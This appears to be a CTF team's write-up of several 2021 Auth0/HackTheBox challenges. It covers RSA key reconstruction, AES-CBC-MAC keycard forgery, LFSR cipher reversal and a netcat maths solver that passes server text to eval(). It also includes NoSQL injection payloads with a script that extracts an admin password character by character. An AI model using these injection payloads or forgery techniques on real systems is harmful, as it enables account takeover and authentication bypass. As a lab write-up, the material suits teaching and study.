The Auth0-CTF took place from the 18.10.2021 to the 25.10.2021. This was our first CTF as NocentSec, we managed to place 15th out of 613 teams with 1073 players in total as the best German team. The CTF was published by HackTheBox and organized by Auth0. Auth0 is an international enterprise which focuses on access security in web applications and well known community support. This was reflected in the variety of challenges which were heavily “Web” based.
Scoreboard
Introduction
We were able to solve most of the challenges and especially enjoyed the web challenges. We want to showcase some challenges which we found interesting or had the feeling that we could reuse our scripts in the future for other CTFs, so this is also a knowledge database for ourselves.
Crypto - Coffee Stains
Challenge Description
We were given an incomplete RSA private key and an encrypted message.
-----BEGIN RSA PRIVATE KEY-----
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
tdPNybMw3fakIhDT0tCl/i00i97lFiFFNV9u0jjQmpRRc8pwcQKCAQEAy2ebe5Fl
T3s2hGUGRsMXmEF9MF48p3P6Yk0+hB0XJLgDvAVhOCylLcuzNkolj//5mYoCjjBr
4GdH5t3IAE/dBC1N8RQK/cc0FZ1DejJpV6TZUzLg6hef+tDAKMV52CWGFfc0XOWT
0MKe/e3hZzYwBgFHLeVobZu5ngkHbk+ngta2fuJ7D1Fd/IRNs7Pu3hS3JNyjcpsh
shbEezI/8eYI12dd7CiAsv4GcDnnCdSqezKa5gGk0Adige6D0wIg01FtsTX7dwla
XXXpMrb479W63xWDgFVKKzjeK7GMlO6OO8o8SNnh4s0ezSUR6za6b/yAjHPtfpFT
J+nc1AEw+qNLawKCAQEApQRXpC75Y94dnwxZqjvEIkjCFipq5NQK3sjtbo33NdiO
-
-
-
-
-
-
-
-
-
-
PS3/AoIBAHUnYBFwSB5e0yjX29DAHb85aJHUC4/p+s2wWODkaV4RIOz2PJyxoH9w
A+HmxYIC/Kt2gpGtxBt2Cl4cjZR6qcnt/hEqTNs8Qtqma2MZMCvZI7W0mT+onwHJ
FHAAAIzHPvYcXvVWs+lUR1nd0XfVqWQ4j8+07yBBt1LGWFhW/N4cLSdPQrOAizQA
9P63/RZTJQbdzKyOlJfE2eyY3PLGXjtQus7VK8eCHBlZU5bm4DX7aRT94siBk8SN
rB9SUVb+94hdyqHsf7vN8ns2OwFqxXIim0BM2fqVbA9kIHblxP3FupoAKlbmuDrC
RZZHABOiE9gwVn8oa64sDn7c5mtX2IECggEBAL9mDTqhXoAL/fXfZf1Voz7/I1hW
-
-
-
-
-
-----END RSA PRIVATE KEY-----
redacted_private_key.pem
Solution
We can restore some of the parameters of the RSA-encryption by comparing the incomplete key with a real key. Looking for the position and the magic numbers (described here and here) we can find p
, upper_d
, lower_q
, dq
and some other fragments.
As this aren’t the same parameters as in the linked writeup we can’t just copy their code, but we can use our parameters with the help of math.
e is just guessed
To calculate q we replaced the d and q parameters in the script of the linked writeups:
from Crypto.Util.number import bytes_to_long, isPrime
e = 0x10001
p = 0xcb679b7b91654f7b3684650646c31798417d305e3ca773fa624d3e841d1724b803bc0561382ca52dcbb3364a258ffff9998a028e306be06747e6ddc8004fdd042d4df1140afdc734159d437a326957a4d95332e0ea179ffad0c028c579d8258615f7345ce593d0c29efdede16736300601472de5686d9bb99e09076e4fa782d6b67ee27b0f515dfc844db3b3eede14b724dca3729b21b216c47b323ff1e608d7675dec2880b2fe067039e709d4aa7b329ae601a4d0076281ee83d30220d3516db135fb77095a5d75e932b6f8efd5badf158380554a2b38de2bb18c94ee8e3bca3c48d9e1e2cd1ecd2511eb36ba6ffc808c73ed7e915327e9dcd40130faa34b6b
lower_d = 0xb5d3cdc9b330ddf6a42210d3d2d0a5fe2d348bdee5162145355f6ed238d09a945173ca7071
upper_q = 0xa50457a42ef963de1d9f0c59aa3bc42248c2162a6ae4d40adec8ed6e8df735d88e
dq = 0x7527601170481e5ed328d7dbd0c01dbf396891d40b8fe9facdb058e0e4695e1120ecf63c9cb1a07f7003e1e6c58202fcab768291adc41b760a5e1c8d947aa9c9edfe112a4cdb3c42daa66b6319302bd923b5b4993fa89f01c9147000008cc73ef61c5ef556b3e9544759ddd177d5a964388fcfb4ef2041b752c6585856fcde1c2d274f42b3808b3400f4feb7fd16532506ddccac8e9497c4d9ec98dcf2c65e3b50baced52bc7821c19595396e6e035fb6914fde2c88193c48dac1f525156fef7885dcaa1ec7fbbcdf27b363b016ac572229b404cd9fa956c0f642076e5c4fdc5ba9a002a56e6b83ac24596470013a213d830567f286bae2c0e7edce66b57d881
upper_invq_modp = 0xbf660d3aa15e800bfdf5df65fd55a33eff235856
dp = d_mod_pm1_end = 0x3d2dff
for kq in range(1, e):
q_mul = dq * e - 1
if q_mul % kq == 0:
q = (q_mul // kq) + 1
if isPrime(q):
print("Potential q: " + str(hex(q)))
break;
n = p*q
print("potential n: ")
print(hex(n))
print("#####")
print("n")
print(hex(n))
print("e")
print(hex(e))
print("p")
print(hex(p))
print("q")
print(str(hex(q)))
get_q.py
Now we have all parameters to craft a new private key with a script like that:
from Crypto.PublicKey import RSA
n = 0x831d3a77bc2df07236cd539febdf01da13942582edc7c83e5e4cfb85959647982a946286f0f395a6c6646aff486fb0b825524c08601e2a2fefa60887e4a29d463624c77a0ff3077c295413384eadb19197e08b731ed8ec8e806a1e81dd50eed15bffae5d62fa36bd93cc051617ab2e51c1a9624e634de5ef190246e54e9a398bcb97d17a5b2879210115a8e707075e881010337f25b4565ab4f65e4f92ecc3615a3e1e92528e0cad6eebd321272b7b6a801576bdfd4f8063b0fb940f0e1ef7eb21fc9017e632fa448f5f566b3509d17d2b33273ffa113f69ebc1756514bdc9782c96637e80a88fa726b6fdc5598ee2fdb77b500e50a6df037448900fe03e6da1c48f3602bda544871beae4f6d48b1f2a5e7c1e5cb4ab06fe478f22d00bcdc5d641445d979e8ede75283321d6e433134923593c7c78cdac67ea553af5f8b8aac12359880d22229118fa0360be098f03dc161c70db431dc63dc81224a809edaef0b364478f25f77836a4e510893f380962fb3ffc1e6c404ee9b4073ba662f4fddef7c1a15385e56a14d4df6886fba6a654545c399a287bfc603d582a9ff67644a5014cd7d6eb3f6ec6b90d19c90b74a45e35e8683c9020cc05bb77545cfe3fbfb9297dd011587038d15aee53737382d6e33e5757b43ca7b736b0d1cf53a74c546b28d03ba171c2d9421d0d5b8204da387102bac47412e828d04ab55483045a6265
e = 0x10001
q = 0xa50457a42ef963de1d9f0c59aa3bc42248c2162a6ae4d40adec8ed6e8df735d88e4037294db934bcd56908af941eaea6763eeeca63c5f2f05cb8bb38f689ac91e9dc13f1060446978af7950114e1be8dfeac53899e783ee9af21c44000c64b11979131bf80c152178230cc799acd1fa88184cc9d6587d6ee276d0bca083739890a9548c5358abb9f952d6c5a1f6b233008777af37923c6be12953b35f0b3542b37ef45753af6beb308bec02d650353f59b61672122b580e9ffea6a55d5f8b1e8186a18a5ce2eb403c6a72274827f284d565893c393efb5e9aa855e8523e514d5b3c30d67a75b491356463597e453fecf05a8394e84fd4ea7f2dae9ab2e78cd6f
p = 0xcb679b7b91654f7b3684650646c31798417d305e3ca773fa624d3e841d1724b803bc0561382ca52dcbb3364a258ffff9998a028e306be06747e6ddc8004fdd042d4df1140afdc734159d437a326957a4d95332e0ea179ffad0c028c579d8258615f7345ce593d0c29efdede16736300601472de5686d9bb99e09076e4fa782d6b67ee27b0f515dfc844db3b3eede14b724dca3729b21b216c47b323ff1e608d7675dec2880b2fe067039e709d4aa7b329ae601a4d0076281ee83d30220d3516db135fb77095a5d75e932b6f8efd5badf158380554a2b38de2bb18c94ee8e3bca3c48d9e1e2cd1ecd2511eb36ba6ffc808c73ed7e915327e9dcd40130faa34b6b
p=int(p)
phi = (p-1)*(q-1)
d = pow(e,-1,phi)
key = RSA.construct((n,e,d,p,q))
pem = key.exportKey('PEM')
print(pem.decode())
key.py
The new private key can be used to decrypt the given message (for example with CyberChef).
Crypto - Debunked
Challenge Description
This challenge is about AES in CBC mode.
We were given a server.py and an ip address with port for communication.
The application is used to authenticate keycards. Once we send a keycard with “permissionLvl=5” that gets authenticated we will receive the flag.
The application has two options:
- 1 - Receive guest keycard
- crafts a new guest keycard based on the randomized key and iv with the plaintext
employeeID=ab12e&permissionLvl=1
- returns the guest keycard as:
base64(whole plaintext).base64(last 16 bytes of cyphertext).base64(IV)
- crafts a new guest keycard based on the randomized key and iv with the plaintext
- 2 - Scan keycard to open door
- insert a keycard as:
base64(whole plaintext).base64(last 16 bytes of cyphertext)
- returns:
- “Access denied” if permissionLvl != 5 and authenticated
- “Caught forging fake keycards.” if not authenticated and “permissionLvl” in plaintext
- expected signature (last 16 bytes of ciphertext) for given plaintext if not “permissionLvl” in plaintext
- insert a keycard as:
from Crypto.Cipher import AES
from secret import flag
import socketserver
import os
from base64 import b64decode, b64encode
import signal
BLOCK_SIZE = 16
KEY = os.urandom(BLOCK_SIZE)
iv = os.urandom(BLOCK_SIZE)
def reportError(val, check_sig, req):
if "permissionLvl" not in val.decode('utf-8', 'ignore'):
req.sendall(b"> Something went wrong, expected signature: "+ check_sig.encode() +b"\n")
else:
req.sendall(b"> Caught forging fake keycards. This incident has been reported!\n")
def macAuthenticate(mac, req):
val, sig = mac.split(".")
val = b64decode(val)
sig = b64decode(sig).decode()
cipher = AES.new(KEY, AES.MODE_CBC, iv)
ct = cipher.encrypt(val)
check_sig = ct[len(ct)-16:].hex()
if check_sig == sig:
return True
else:
reportError(val, check_sig, req)
return False
def createLvl1Mac(id=b"ab12e"):
value = b"employeeID="+id+b"&permissionLvl=1"
cipher = AES.new(KEY, AES.MODE_CBC, iv)
ct = cipher.encrypt(value)
sig = ct[len(ct)-16:].hex().encode()
return b64encode(value)+b"."+b64encode(sig)+b"."+b64encode(iv.hex().encode())
def challenge(req):
try:
req.sendall(b'|------------------------------|\n'+
b'| KEYCARD ID CHECKER |\n'+
b'|------------------------------|\n'+
b'|1. Receive guest keycard |\n'+
b'|2. Scan keycard to open door |\n'+
b'|------------------------------|\n'+
b'\n> '
)
choice = int(req.recv(2).decode().strip())
if choice == 1:
req.sendall(b"> Keycard ID: "+createLvl1Mac()+b"\n")
if choice == 2:
req.sendall(b'> Press keycard to the scanner...\n')
mac = req.recv(4096).decode().strip()
if macAuthenticate(mac, req):
val, _ = mac.split(".")
val = b64decode(val).decode()
val = dict(x.split("=") for x in val.split("&"))
if int(val.get('permissionLvl')) == 5:
req.sendall(b"> Access granted! No alien robots here: "+ flag+b"\n")
else:
req.sendall(b"> Access denied!"+b"\n")
except Exception as e:
try:
req.sendall(b'Unexpected error.\n')
req.close()
except:
pass
exit()
class incoming(socketserver.BaseRequestHandler):
def handle(self):
signal.alarm(300)
req = self.request
while True:
challenge(req)
class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
socketserver.TCPServer.allow_reuse_address = False
server = ReusableTCPServer(("0.0.0.0", 1337), incoming)
server.serve_forever()
server.py
Solution
This challenge is kind of interesting because it’s not the expected bit-flipping attack to use here. This is caused by the use of a compare of encryptions for authentication instead of decryption.
We want to craft a keycard with “permissionLvl=5” and a valid ciphertext to use as the signature.
Sending a random plaintext (length in bytes should be a factor of 16) and a random ciphertext gives us the possibility to craft keycards by using the given expected signature in base64 as ciphertext.
It’s not necessary to have something about the employeID in the plaintext as only the permissionLvl gets checked. The only problem here is that we can’t just send “&permissionLvl=5” as we would get the “caught forging keycards”-error instead of the expected signature.
We know the IV because it gets send to us in the applications response. This also means that we can control the output of our input XORed with the IV.
We can calculate which ciphertext the second plaintext (second encrpytion step) gets XORed with by crafting a new keycard.
The key element here is to break out of thinking in 16 byte blocks. By this we can send parts of “permissionLvl=5” to bypass the check.
Following way leads us to a valid keycard:
- choose a plaintext for access like: 0000=0000&permissionLvl=5&00=000
- mind that this is 32 bytes long and neither in the first nor the second block is the whole “permissionLvl”
- we need to add the symbols “=” and “&” to get along with the splits
- C1: calculate the signature of the first 16 bytes of plaintext (“0000=0000&permis”) by sending this as a keycard with a random ciphertext
- this returns a new signature which would be the first ciphertext in an encryption of a 32byte plaintext
- C2: calculate the signature of the last 16 bytes of plaintext (“sionLvl=5&00=000”) by simulating the second step in encryption:
- eliminating the IV: new plaintext = “sionLvl=5&00=000” XOR IV
- new plaintext = new plaintext XOR C1 (signature of first plaintext)
- sending this new plaintext in a keycard with a random cipher to get the signature
This got us the signature of the whole plaintext: C2.
Now we can just enter our valid keycard:
base64("0000=0000&permissionLvl=5&00=000").base64(C2)
Crypto - Corporate Snake
Challenge Description
We were given an encryption python script and a corresponding ciphertext. Our challenge was to reverse that ciphertext and retrieve the flag.
from base64 import b64encode
import os
def bytes_to_bits(input):
return ''.join(format(i, '08b') for i in input)
def bits_to_bytes(input):
return int(input, 2).to_bytes((len(input) + 7) // 8, byteorder='big')
flag = b"--MISSING--"
init_state = os.urandom(4)
def lfsr_keystream_generator(init_state, flag_bits_length, taps):
state = init_state
keystream = ''
for i in range(flag_bits_length):
keystream = keystream + state[-1]
state = state[:-1]
bit = state[taps[0]]
for tap in taps[1:]:
bit = int(bit) ^ int(state[tap])
state = str(bit) + state
return keystream
def encrypt(keystream, plaintext):
plaintext = bytes_to_bits(plaintext)
ciphertext = ''
for i in range(len(plaintext)):
xored_bit = int(keystream[i]) ^ int(plaintext[i])
ciphertext = ciphertext + str(xored_bit)
return b64encode(bits_to_bytes(ciphertext))
keystream = lfsr_keystream_generator(bytes_to_bits(init_state), len(bytes_to_bits(flag)),[2,3,5,7,11,17,19,29])
ciphertext = encrypt(keystream, flag)
print(ciphertext)
enc.py
+YXkzFFU86WugkASUernSAJz6ZSyFLHxrtba8wQVq3GRrjr7cib/3+9lt3JmtjKRhwFk/Q==
ciphertext
Solution
The encryption script generates a lfsr keystream using a random init state by calling os.random(4)
. Since we were given the encryption script we pretty much translated it to a solution script by reversing the transformation line by line. This was possible because we can recover the inital state by reversing the first 32bits of the restored keystream and also because we were given the taps used.
# Imports
from base64 import b64encode, b64decode
import os
# Functions
def bytes_to_bits(input):
return ''.join(format(i, '08b') for i in input)
def bits_to_bytes(input):
return int(input, 2).to_bytes((len(input) + 7) // 8, byteorder='big')
def lfsr_keystream_generator(init_state, flag_bits_length, taps):
state = init_state
keystream = ''
for i in range(flag_bits_length):
keystream = keystream + state[-1]
state = state[:-1]
bit = state[taps[0]]
for tap in taps[1:]:
bit = int(bit) ^ int(state[tap])
state = str(bit) + state
return keystream
# Variables
ciphertext=b"+YXkzFFU86WugkASUernSAJz6ZSyFLHxrtba8wQVq3GRrjr7cib/3+9lt3JmtjKRhwFk/Q=="
ciphertextbits=bytes_to_bits(b64decode(ciphertext))
flag=b"HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
flagbits = bytes_to_bits(flag)
# Restoring keystream
keystream_temp=""
for bit in range(len(ciphertextbits)):
xored_bit = int(ciphertextbits[bit]) ^ int(flagbits[bit])
keystream_temp = keystream_temp + str(xored_bit)
keystream_first32bits = keystream_temp[:32]
keystream_last8bits = keystream_temp[-8:]
# Recovering inital state
intial_state=keystream_first32bits[::-1]
# Decryption
keystream_restored=lfsr_keystream_generator(intial_state, 416, [2,3,5,7,11,17,19,29])
plainbits=""
for bit in range(len(ciphertextbits)):
xored_bit = int(ciphertextbits[bit]) ^ int(keystream_restored[bit])
plainbits = plainbits + str(xored_bit)
plaintext=bits_to_bytes(plainbits)
print(plaintext)
solve.py
Misc - Bomb
Challenge Description
We were given an ip adress with a port. Once connected via netcat we were asked to solve 777 maths challenges in order to retrieve the flag.
Solution
While this isn’t a difficult or very exciting challenge we decided to share our script here nontheless because this is quite a common ctf challenge and we might reuse it in the future.
#!/usr/bin/python3
import itertools
import nclib
import sys
import collections
from time import time
ip = '167.99.202.9'
port = 32597
### connecting to the socket and recieving until '= ?':
nc = nclib.Netcat((ip, port), verbose=True)
start = "= ?"
recv = nc.recv_until(start.encode('utf-8'))
### splitting the task to get rid of the useless information
text, term = recv.decode().split('\n\n')
### evaluate the solution and send it
solution= eval(term[:-4])
nc.send(str(solution) + '\n')
### do all of the above repeatedly
while 1:
recv = nc.recv_until(start.encode('utf-8'))
a, b, term = recv.decode().split('\n\n')
solution= eval(term[:-4])
print (term)
print (solution)
nc.send(str(solution) + '\n')
bomb.py
Web - Status Board
Challenge Description
What looks like a simple authentication bypass in the first place is not what it seems. In this challenge our task wasn’t to just bypass the login form, we had to retrieve the admin password. This became clear looking at the entrypoint.sh
which we were given.
#!/bin/ash
# Secure entrypoint
chmod 600 /entrypoint.sh
mkdir /tmp/mongodb
mongod --noauth --dbpath /tmp/mongodb/ &
sleep 2
mongo status_board --eval "db.createCollection('users')"
mongo status_board --eval 'db.users.insert( { username: "admin", password: "HTB{f4k3_fl4g_f0r_t3st1ng}"} )'
/usr/bin/supervisord -c /etc/supervisord.conf
entrypoint.sh
Solution
The vulnerabiliy is called NoSQL Injection or MongoDB Injection. We found out that we could successful “login” using this:
{
"email" : {"$gt":""},
"password" : {"$gt":""}
}
$gt
means greater than
, so in this case it would pick any username that is greater than nothing
and the corresponding password. This gave us confidence about this attack. However the challenge here was to extract the password because that’s were the flag is stored. So we figured we can also use regex to enumerate the flag character by character. As long as the following returns User authenticated successfully!
we’ve only put in valid characters.
{
"username" : {"$eq":"admin"},
"password" : {"$regex":"^HTB{"}
}
Because that would be quite painful to do by hand we wrote this short script which tries every character in the given alphabet and continues to the next one after the response would not include the word Invalid
.
#!/usr/bin/env python3
import requests
url = 'http://167.99.94.53:30169/api/login'
alphabet="AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789_{}"
solved=""
while 1:
for c in alphabet:
myobj = {'username': 'admin','password' : {"$regex":"^"+solved+c}}
x = requests.post(url, json = myobj)
if "Invalid" not in x.text:
solved=solved + c
print(solved)
nosql.py
Thanks for reading. ~ hexp and JeanWhisky